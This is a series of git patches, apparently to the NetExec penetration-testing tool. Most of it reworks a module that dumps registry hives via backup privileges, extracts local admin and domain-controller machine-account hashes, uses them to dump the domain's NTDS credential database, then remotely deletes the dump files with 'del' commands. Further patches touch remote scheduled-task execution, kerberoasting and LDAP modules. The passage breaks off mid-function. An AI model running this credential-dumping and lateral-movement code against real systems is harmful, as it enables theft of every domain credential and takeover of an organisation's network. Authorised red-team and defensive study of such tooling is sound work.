deleted + self.local_admin = None + self.local_admin_hash = None + self.machine_account = None + self.machine_account_hash = None def options(self, context, module_options): """NO OPTIONS""" @@ -34,7 +35,6 @@ def on_login(self, context, connection): dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) try: - for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" @@ -62,56 +62,111 @@ def on_login(self, context, connection): try: def parse_sam(secret): context.log.highlight(secret) - if not self.domain_admin: + if not self.local_admin: first_line = secret.strip().splitlines()[0] fields = first_line.split(":") - self.domain_admin = fields[0] - self.domain_admin_hash = fields[3] + if len(fields) >= 4: + self.local_admin = fields[0] + self.local_admin_hash = fields[3] + + def parse_lsa(secret_type, secret): + context.log.highlight(secret) + for line in secret.splitlines(): + if "aad3b" in line.lower() and len(line.split(":")) >= 3: + fields = line.split(":") + account_name = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0] + if account_name.endswith("$"): + self.machine_account = account_name + self.machine_account_hash = fields[2] local_operations = LocalOperations(log_path + "SYSTEM") boot_key = local_operations.getBootKey() - sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam) sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: context.log.fail(f"Fail to dump the sam and lsa: {e!s}") - if self.domain_admin: + # Try NTDS dump with Local Admin, fallback to Machine Account + dump_success = False + if self.local_admin and self.local_admin_hash: + context.log.display(f"Attempting NTDS dump with local admin: {self.local_admin}") + dump_success = self._try_dump_ntds(connection, context, self.local_admin, self.local_admin_hash) + + if not dump_success and self.machine_account and self.machine_account_hash: + context.log.display(f"Fallback to DCSync with DC Machine Account: {self.machine_account}") + dump_success = self._try_dump_ntds(connection, context, self.machine_account, self.machine_account_hash) + + if not dump_success: + context.log.fail("Failed to dump NTDS using both local admin and machine account.") + self._print_cleanup_warning(context, rand_suffix) + return + + # NTDS dumped successfully, now use the Domain Admin hash for cleanup + da_user, da_hash = self._extract_da_hash(connection.output_filename, context) + if not (da_user and da_hash): + self._print_cleanup_warning(context, rand_suffix) + return + + context.log.display(f"Using extracted Domain Admin ({da_user}) to clean up files...") + with contextlib.suppress(Exception): connection.conn.logoff() - connection.create_conn_obj() - if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): - try: - context.log.display("Dumping NTDS...") - connection.ntds() - except Exception as e: - context.log.fail(f"Fail to dump the NTDS: {e!s}") - - context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") - connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}") - sleep(0.2) - for hive in ["SAM", "SECURITY", "SYSTEM"]: - remote_name = f"{hive}_{rand_suffix}" - try: - out = connection.conn.listPath("SYSVOL", remote_name) - if out: - self.deleted_files = False - context.log.fail(f"Fail to remove the file {remote_name}, path: C:\\Windows\\sysvol\\sysvol\\{remote_name}") - except SessionError as e: - context.log.debug(f"File {remote_name} successfully removed: {e}") - else: - self.deleted_files = False - else: - self.deleted_files = False + connection.create_conn_obj() + if not connection.hash_login(connection.domain, da_user, da_hash): + self._print_cleanup_warning(context, rand_suffix) + return - if not self.deleted_files: - context.log.display("Use the domain admin account to clean the file on the remote host") - context.log.display(f"netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}\"") # noqa: Q003 - else: + context.log.display(f"Cleaning dump with user {da_user} and hash {da_hash} on domain {connection.domain}") + connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}") + sleep(0.2) + + all_deleted = True + for hive in ["SAM", "SECURITY", "SYSTEM"]: + remote_name = f"{hive}_{rand_suffix}" + try: + if connection.conn.listPath("SYSVOL", remote_name): + all_deleted = False + context.log.fail(f"Fail to remove the file {remote_name}, path: C:\\Windows\\sysvol\\sysvol\\{remote_name}") + except SessionError as e: + context.log.debug(f"File {remote_name} successfully removed: {e}") + + if all_deleted: context.log.display("Successfully deleted dump files !") + else: + self._print_cleanup_warning(context, rand_suffix) + + def _try_dump_ntds(self, connection, context, username, user_hash): + with contextlib.suppress(Exception): + connection.conn.logoff() + connection.create_conn_obj() + if connection.hash_login(connection.domain, username, user_hash): + try: + context.log.display("Dumping NTDS...") + connection.ntds() + return True + except Exception as e: + context.log.fail(f"Fail to dump the NTDS: {e!s}") + return False + + def _extract_da_hash(self, output_filename, context): + try: + with open(f"{output_filename}.ntds") as f: + first_line = f.readline().strip() + if first_line: + fields = first_line.split(":") + if len(fields) >= 4: + da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0] + return da_user, fields[3] + except Exception as e: + context.log.debug(f"Failed to read NTDS file for cleanup: {e}") + return None, None + + def _print_cleanup_warning(self, context, rand_suffix): + context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}") def _strip_root_key(self, dce, key_name): # Let's strip the root key From 841a28832fb505c47885e715baef62ad728b857a Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 17 Jun 2026 10:00:14 +0200 Subject: [PATCH 063/397] call hSchRpcRun only on Windows Server 2025 --- nxc/protocols/smb/atexec.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 72c854b94b..e7284b5fc3 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -155,10 +155,12 @@ def execute_handler(self, command): self.logger.fail(str(e)) return - try: - tsch.hSchRpcRun(dce, f"\\{self.task_name}") - except tsch.DCERPCSessionError as e: - self.logger.debug(f"hSchRpcRun returned: {e}") + # Win2025+ (build 26100): RegistrationTrigger does not start the task over remote TSCH. + if self.__connection.server_os_build and int(self.__connection.server_os_build) >= 26100: + try: + tsch.hSchRpcRun(dce, f"\\{self.task_name}") + except tsch.DCERPCSessionError as e: + self.logger.debug(f"hSchRpcRun returned: {e}") done = False while not done: From 4f75a7f55b280c0f528922b8d84984a73c2a6373 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 18 Jun 2026 14:30:43 +0200 Subject: [PATCH 064/397] replace ldap3 with impacket in daclread module --- nxc/modules/daclread.py | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index f639b29e09..6bd53e254c 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -3,16 +3,30 @@ import datetime from enum import Enum from impacket.ldap import ldaptypes +from impacket.ldap.ldapasn1 import SDFlagsControl from impacket.uuid import bin_to_string from nxc.helpers.misc import CATEGORY from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS from nxc.parsers.ldap_results import parse_result_attributes -from ldap3.utils.conv import escape_filter_chars -from ldap3.protocol.microsoft import security_descriptor_control import sys import traceback from os.path import isfile + +def escape_filter_chars(text, encoding="utf-8"): + """Escape special characters in an LDAP search filter assertion value (RFC 4515).""" + if isinstance(text, (bytes, bytearray)): + try: + text = text.decode(encoding) + except Exception: + return "".join(f"\\{b:02x}" for b in text) + escaped = text.replace("\\", "\\5c") + escaped = escaped.replace("*", "\\2a") + escaped = escaped.replace("(", "\\28") + escaped = escaped.replace(")", "\\29") + return escaped.replace("\x00", "\\00") + + OBJECT_TYPES_GUID = {} OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) @@ -306,7 +320,7 @@ def on_login(self, context, connection): resp = connection.search( searchFilter=search_filter(target), attributes=["distinguishedName", "nTSecurityDescriptor"], - searchControls=security_descriptor_control(sdflags=0x04), + searchControls=[SDFlagsControl(criticality=False, flags=0x04)], ) resp_parsed = parse_result_attributes(resp)[0] From e1c99c9387239b15888608386ba49a097a97b773 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 18 Jun 2026 14:39:34 +0200 Subject: [PATCH 065/397] update comment --- nxc/modules/daclread.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 6bd53e254c..390dab734a 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -214,7 +214,7 @@ class NXCModule: This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me. It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added. - It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write. + It could be interesting to implement the write/remove functions here. """ name = "daclread" From 0b2fecab534ba4b3f2a3c7c088c19b17c7f2cb7d Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 18 Jun 2026 14:43:30 +0200 Subject: [PATCH 066/397] replace ldap3 with impacket in sccm module --- nxc/modules/sccm.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/sccm.py b/nxc/modules/sccm.py index c802505654..ab31490270 100644 --- a/nxc/modules/sccm.py +++ b/nxc/modules/sccm.py @@ -1,6 +1,6 @@ from impacket.ldap import ldap, ldaptypes from impacket.ldap.ldap import LDAPSearchError -from ldap3.protocol.microsoft import security_descriptor_control +from impacket.ldap.ldapasn1 import SDFlagsControl from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes @@ -56,7 +56,7 @@ def on_login(self, context, connection): try: # Search for SCCM root object search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})" - controls = security_descriptor_control(sdflags=0x04) + controls = [SDFlagsControl(criticality=False, flags=0x04)] context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'") result = connection.ldap_connection.search( searchFilter=search_filter, From 17a949aba93f2223c0a3115dcadbebc171c920cb Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 18 Jun 2026 16:56:15 +0200 Subject: [PATCH 067/397] replace ldap3 with impacket in gpp_privileges module --- nxc/modules/gpp_privileges.py | 128 ++++++++++++++++------------------ 1 file changed, 60 insertions(+), 68 deletions(-) diff --git a/nxc/modules/gpp_privileges.py b/nxc/modules/gpp_privileges.py index 46c021baf2..491f49350c 100644 --- a/nxc/modules/gpp_privileges.py +++ b/nxc/modules/gpp_privileges.py @@ -1,8 +1,9 @@ -import ssl -import ldap3 import re from io import BytesIO +from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldapasn1 as ldapasn1_impacket from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: @@ -138,7 +139,7 @@ def on_login(self, context, connection): context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}") if ldap_connection: - ldap_connection.unbind() + ldap_connection.close() def extract_privileges(self, content): """Parses the content of GptTmpl.inf to extract privilege rights.""" @@ -161,99 +162,90 @@ def extract_privileges(self, content): def initialize_ldap_connection(self, context, connection): """ - Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails. + Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails. Attempts to retrieve the base DN from the Root DSE or derive it from the domain name. """ - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0") - base_dn = None - - try: - ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL) - ldap_connection = ldap3.Connection( - ldap_server, - user=f"{connection.domain}\\{connection.username}", - password=connection.password, - authentication=ldap3.NTLM, - raise_exceptions=True, - ) - ldap_connection.bind() - context.log.success("Connected to LDAP over SSL (LDAPS).") - + ldap_connection = None + for proto in ("ldaps", "ldap"): try: - base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0] + ldap_connection = ldap_impacket.LDAPConnection(url=f"{proto}://{connection.remoteName}", dstIp=connection.host) + if connection.kerberos: + ldap_connection.kerberosLogin( + connection.username, + connection.password or "", + connection.domain, + connection.lmhash, + connection.nthash, + connection.aesKey or "", + kdcHost=connection.kdcHost, + useCache=bool(connection.use_kcache), + ) + else: + ldap_connection.login( + user=connection.username, + password=connection.password or "", + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + ) + context.log.success(f"Connected to LDAP ({proto}).") + break except Exception as e: - context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}") - - if not base_dn: - domain_parts = connection.domain.split(".") - base_dn = ",".join([f"dc={part}" for part in domain_parts]) - context.log.info(f"Derived base DN: {base_dn}") + context.log.warning(f"{proto.upper()} connection failed: {e}") + ldap_connection = None - ldap_connection.base_dn = base_dn - return ldap_connection + if not ldap_connection: + context.log.error("Failed to connect to LDAP.") + return None - except Exception as ldaps_error: - context.log.warning(f"LDAPS connection failed: {ldaps_error}") - context.log.info("Falling back to plain LDAP...") + ldap_connection._baseDN = self.get_base_dn(context, ldap_connection, connection.domain) + return ldap_connection + def get_base_dn(self, context, ldap_connection, domain): + """Retrieves the base DN from the Root DSE, falling back to deriving it from the domain name.""" try: - ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL) - ldap_connection = ldap3.Connection( - ldap_server, - user=f"{connection.domain}\\{connection.username}", - password=connection.password, - authentication=ldap3.NTLM, - raise_exceptions=True, + resp = ldap_connection.search( + searchBase="", + scope=ldapasn1_impacket.Scope("baseObject"), + searchFilter="(objectClass=*)", + attributes=["defaultNamingContext"], ) - ldap_connection.bind() - context.log.info("Connected to LDAP successfully (plaintext).") - - try: - base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0] - except Exception as e: - context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}") - - if not base_dn: - domain_parts = connection.domain.split(".") - base_dn = ",".join([f"dc={part}" for part in domain_parts]) - context.log.info(f"Derived base DN: {base_dn}") - - ldap_connection.base_dn = base_dn - return ldap_connection - - except Exception as ldap_error: - context.log.error(f"Failed to connect to LDAP: {ldap_error}") + base_dn = parse_result_attributes(resp)[0]["defaultNamingContext"] + if base_dn: + return base_dn + except Exception as e: + context.log.warning(f"Failed to query Root DSE for defaultNamingContext: {e}") - return None + base_dn = ",".join([f"dc={part}" for part in domain.split(".")]) + context.log.info(f"Derived base DN: {base_dn}") + return base_dn def resolve_sid(self, context, sid, ldap_connection): """Resolves a SID to a human-readable name using well-known mappings or LDAP queries.""" if sid in self.WELL_KNOWN_SIDS: return self.WELL_KNOWN_SIDS[sid] - if ldap_connection and ldap_connection.bound: + if ldap_connection: try: - base_dn = getattr(ldap_connection, "base_dn", None) - if not base_dn: + if not ldap_connection._baseDN: context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.") return sid - search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})" - ldap_connection.search( - search_base=base_dn, - search_filter=search_filter, + resp = ldap_connection.search( + searchBase=ldap_connection._baseDN, + searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"], ) + parsed_result = parse_result_attributes(resp) - if ldap_connection.entries: - entry = ldap_connection.entries[0] - return f"{entry['sAMAccountName']}" + if parsed_result and "sAMAccountName" in parsed_result[0]: + return f"{parsed_result[0]['sAMAccountName']}" else: context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.") except Exception as e: context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}") else: - context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}") + context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}") return sid From 3a16b24afa5f12960d15912412007615157eee5c Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Fri, 19 Jun 2026 11:06:09 +0200 Subject: [PATCH 068/397] reuse TGT from kerberosLogin for standalone --generate-st --- nxc/protocols/smb.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 1a502eb5a2..267dc977e8 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -146,6 +146,8 @@ def __init__(self, args, db, host): self.protocol = "SMB" self.is_guest = None self.isdc = None + self.tgt = None + self.tgs = None connection.__init__(self, args, db, host) @@ -401,6 +403,11 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.save_st(tgs, sk, spn if self.args.spn else None) self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) + + with contextlib.suppress(Exception): + creds = self.conn.getCredentials() + self.tgt, self.tgs = creds[6], creds[7] + if "Unix" not in self.server_os: self.check_if_admin() @@ -760,7 +767,12 @@ def generate_st(self): try: tgt = cipher = tgt_session_key = None - if self.use_kcache: + if self.tgt is not None: + tgt = self.tgt["KDC_REP"] + cipher = self.tgt["cipher"] + tgt_session_key = self.tgt["sessionKey"] + self.logger.debug("Reusing TGT obtained during SMB login") + elif self.use_kcache: try: _, _, cached_tgt, _ = CCache.parseFile(self.domain, self.username) if cached_tgt is not None: From 04aac88205cb518e602c5760cf6625e3c0b45f86 Mon Sep 17 00:00:00 2001 From: Bastien Faure Date: Fri, 26 Jun 2026 05:23:18 -0400 Subject: [PATCH 069/397] Handle weird situation where LDAP user object do not have userAccountControl field --- nxc/protocols/ldap.py | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 67b2bcfd94..f83c41bee0 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1010,11 +1010,26 @@ def kerberoasting(self): self.logger.highlight("No entries found!") return - disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + # Filter disabled and invalid accounts + disabled_accounts = [] + for x in resp_parsed: + if "userAccountControl" in x: + # account is disabled + if (int(x["userAccountControl"]) & UF_ACCOUNTDISABLE): + disabled_accounts.append(x) + else: + # ldap object does not have UAC field, weird but happens + disabled_accounts.append(x) for account in disabled_accounts: - self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") - - enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + self.logger.display(f"Skipping disabled or invalid account: {account['sAMAccountName']}") + + # Get all enabled accounts + enabled = [] + for x in resp_parsed: + if "userAccountControl" in x: + if not (int(x["userAccountControl"]) & UF_ACCOUNTDISABLE): + enabled.append(x) + self.logger.display(f"Total of records returned {len(enabled):d}") if self.args.targeted_kerberoast: self.logger.success(f"Found {len(enabled)} enabled users without SPN.") From 33dbf4bf32b8dca3f26974d24c7a8e2d7de07f62 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 30 Jun 2026 10:30:11 -0400 Subject: [PATCH 070/397] Use '.get()' as fallback for nonexisting userAccountControl values --- nxc/protocols/ldap.py | 22 ++++------------------ 1 file changed, 4 insertions(+), 18 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f83c41bee0..d2dc79a09d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1011,25 +1011,11 @@ def kerberoasting(self): return # Filter disabled and invalid accounts - disabled_accounts = [] - for x in resp_parsed: - if "userAccountControl" in x: - # account is disabled - if (int(x["userAccountControl"]) & UF_ACCOUNTDISABLE): - disabled_accounts.append(x) - else: - # ldap object does not have UAC field, weird but happens - disabled_accounts.append(x) + disabled_accounts = [x for x in resp_parsed if int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE] for account in disabled_accounts: - self.logger.display(f"Skipping disabled or invalid account: {account['sAMAccountName']}") - - # Get all enabled accounts - enabled = [] - for x in resp_parsed: - if "userAccountControl" in x: - if not (int(x["userAccountControl"]) & UF_ACCOUNTDISABLE): - enabled.append(x) - self.logger.display(f"Total of records returned {len(enabled):d}") + self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + + enabled = [x for x in resp_parsed if not int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE] if self.args.targeted_kerberoast: self.logger.success(f"Found {len(enabled)} enabled users without SPN.") From 6dda035d2ab8c9acbfae964c2421395f31923b5f Mon Sep 17 00:00:00 2001 From: T1erno Date: Thu, 2 Jul 2026 20:55:09 -0600 Subject: [PATCH 071/397] Removed local admin usage and SAM reg dump --- nxc/modules/backup_operator.py | 163 ++++++++++++++++----------------- 1 file changed, 80 insertions(+), 83 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index eb57420abd..da8c579b84 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,7 +1,6 @@ import contextlib -from time import sleep -from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations +from impacket.examples.secretsdump import LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import rrp from nxc.helpers.misc import CATEGORY, gen_random_string @@ -17,8 +16,6 @@ class NXCModule: def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options - self.local_admin = None - self.local_admin_hash = None self.machine_account = None self.machine_account_hash = None @@ -35,40 +32,26 @@ def on_login(self, context, connection): dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) try: - for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + for hive in ["HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" - context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") - try: - ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) - rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) - context.log.highlight(f"Saved {hive} to {outputFileName}") - except Exception as e: - context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") - return - except (Exception, KeyboardInterrupt) as e: - context.log.fail(f"Unexpected error: {e}") + context.log.debug(f"Dumping {hive}...") + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved {hive} to {outputFileName}") + except Exception as e: + context.log.fail(f"Unexpected error during hive dump: {e}") return finally: with contextlib.suppress(Exception): dce.disconnect() - # copy remote file to local - log_path = f"{connection.output_filename}." - for hive in ["SAM", "SECURITY", "SYSTEM"]: - connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive) + # copy remote files to local + for hive in ["SECURITY", "SYSTEM"]: + connection.get_file_single(f"{hive}_{rand_suffix}", f"{connection.output_filename}.{hive}") # read local file try: - def parse_sam(secret): - context.log.highlight(secret) - if not self.local_admin: - first_line = secret.strip().splitlines()[0] - fields = first_line.split(":") - if len(fields) >= 4: - self.local_admin = fields[0] - self.local_admin_hash = fields[3] - def parse_lsa(secret_type, secret): context.log.highlight(secret) for line in secret.splitlines(): @@ -79,79 +62,93 @@ def parse_lsa(secret_type, secret): self.machine_account = account_name self.machine_account_hash = fields[2] - local_operations = LocalOperations(log_path + "SYSTEM") + local_path = f"{connection.output_filename}." + local_operations = LocalOperations(local_path + "SYSTEM") boot_key = local_operations.getBootKey() - sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam) - sam_hashes.dump() - sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa) + LSA = LSASecrets(local_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: - context.log.fail(f"Fail to dump the sam and lsa: {e!s}") - - # Try NTDS dump with Local Admin, fallback to Machine Account - dump_success = False - if self.local_admin and self.local_admin_hash: - context.log.display(f"Attempting NTDS dump with local admin: {self.local_admin}") - dump_success = self._try_dump_ntds(connection, context, self.local_admin, self.local_admin_hash) - - if not dump_success and self.machine_account and self.machine_account_hash: - context.log.display(f"Fallback to DCSync with DC Machine Account: {self.machine_account}") - dump_success = self._try_dump_ntds(connection, context, self.machine_account, self.machine_account_hash) - - if not dump_success: - context.log.fail("Failed to dump NTDS using both local admin and machine account.") - self._print_cleanup_warning(context, rand_suffix) - return - - # NTDS dumped successfully, now use the Domain Admin hash for cleanup - da_user, da_hash = self._extract_da_hash(connection.output_filename, context) - if not (da_user and da_hash): - self._print_cleanup_warning(context, rand_suffix) - return - - context.log.display(f"Using extracted Domain Admin ({da_user}) to clean up files...") - with contextlib.suppress(Exception): - connection.conn.logoff() - connection.create_conn_obj() - if not connection.hash_login(connection.domain, da_user, da_hash): - self._print_cleanup_warning(context, rand_suffix) - return - - context.log.display(f"Cleaning dump with user {da_user} and hash {da_hash} on domain {connection.domain}") - connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}") - sleep(0.2) - - all_deleted = True - for hive in ["SAM", "SECURITY", "SYSTEM"]: - remote_name = f"{hive}_{rand_suffix}" - try: - if connection.conn.listPath("SYSVOL", remote_name): - all_deleted = False - context.log.fail(f"Fail to remove the file {remote_name}, path: C:\\Windows\\sysvol\\sysvol\\{remote_name}") - except SessionError as e: - context.log.debug(f"File {remote_name} successfully removed: {e}") - - if all_deleted: - context.log.display("Successfully deleted dump files !") + context.log.fail(f"Fail to dump the lsa: {e!s}") + + # Attempt NTDS dump with DC Machine Account + cleanup_user, cleanup_hash = None, None + if self._try_dump_ntds(connection, context, self.machine_account, self.machine_account_hash): + cleanup_user, cleanup_hash = self._extract_da_hash(connection.output_filename, context) + if not cleanup_user or not cleanup_hash: + # Fallback to cleaning up using the machine account if DA could not be extracted + cleanup_user, cleanup_hash = self.machine_account, self.machine_account_hash + + # Final Cleanup using native SMB deleteFile + if cleanup_user and cleanup_hash: + self._perform_cleanup(connection, context, cleanup_user, cleanup_hash, rand_suffix) else: + context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.") self._print_cleanup_warning(context, rand_suffix) def _try_dump_ntds(self, connection, context, username, user_hash): + if not username or not user_hash: + return False + context.log.display(f"Attempting NTDS dump with: {username}") with contextlib.suppress(Exception): connection.conn.logoff() connection.create_conn_obj() if connection.hash_login(connection.domain, username, user_hash): try: - context.log.display("Dumping NTDS...") + context.log.display(f"Dumping NTDS using {username}...") connection.ntds() return True except Exception as e: - context.log.fail(f"Fail to dump the NTDS: {e!s}") + context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}") return False + def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix): + context.log.display(f"Using {username} to clean up files...") + with contextlib.suppress(Exception): + connection.conn.logoff() + connection.create_conn_obj() + if connection.hash_login(connection.domain, username, user_hash): + context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}") + hives = ["SECURITY", "SYSTEM"] + all_deleted = True + for hive in hives: + remote_name = f"{hive}_{rand_suffix}" + try: + connection.conn.deleteFile("SYSVOL", remote_name) + context.log.debug(f"File {remote_name} deleted successfully via SMB.") + except SessionError as e: + if "STATUS_NO_SUCH_FILE" in str(e): + context.log.debug(f"File {remote_name} already removed or not found.") + continue + if "STATUS_ACCESS_DENIED" in str(e): + context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...") + try: + # Attempt to delete via execute command if direct SMB share delete gets ACCESS_DENIED + connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}") + continue + except Exception as exec_err: + context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}") + all_deleted = False + context.log.fail(f"Fail to remove the file {remote_name}: {e!s}") + + if all_deleted: + # Double check that files are gone + double_check = True + for hive in hives: + remote_name = f"{hive}_{rand_suffix}" + try: + if connection.conn.listPath("SYSVOL", remote_name): + double_check = False + context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}") + except SessionError: + pass + if double_check: + context.log.display("Successfully deleted dump files !") + return + + 